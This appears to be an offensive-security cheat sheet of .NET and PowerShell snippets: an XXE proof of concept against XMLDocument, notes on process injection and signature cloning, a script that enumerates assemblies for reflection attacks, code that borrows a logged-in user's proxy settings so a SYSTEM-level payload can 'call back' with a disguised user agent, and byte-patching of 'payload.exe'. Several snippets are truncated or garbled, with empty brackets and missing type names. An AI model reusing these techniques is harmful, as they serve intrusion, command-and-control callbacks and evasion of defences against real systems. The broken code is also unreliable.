Comment on page


Embeddd Dependencies

Install-Package Costura.Fody


XMLDocument PoC:
<?xml version='1.0' ?><!DOCTYPE doc [<!ENTITY win SYSTEM ''>]><doc>&win;</doc>
This works on Net Framework <= 4.0 if the Resolver was not explicitly set to null.

Process Injection

Clone Signature

It will not verify through the chain but if the program does not check the whole chain it works ;-)

Look for Assemblies that can be used for Reflection Attacks

$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
$Assemblies |
ForEach-Object {
ForEach-Object {
$_ | Get-Member -Static| Where-Object {
} 2> $null

Dynamically resolve Proxy via PowerShell

Sometimes we execute as SYSTEM and still need to use the boxes proxy settings to call back to us. In this case we can resolve the current proxy settings from HKCU and copy them.
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null
$keys = Get-ChildItem 'HKU:\'
ForEach ($key in $keys) {if ($key.Name -like "*S-1-5-21-*") {$start = $key.Name.substring(10);break}}
$proxy=(Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer
[]::DefaultWebProxy = new-object
$wc = new-object
$wc.Headers.Add('User-Agent', "Legit User Agent")

Convert .NET Assembly to JScript

Edit Bytes in Binary

$bytes = [System.IO.File]::ReadAllBytes("payload.exe")
$bytes[200] = 0xFF
[System.IO.File]::WriteAllBytes("payload.exe", $bytes)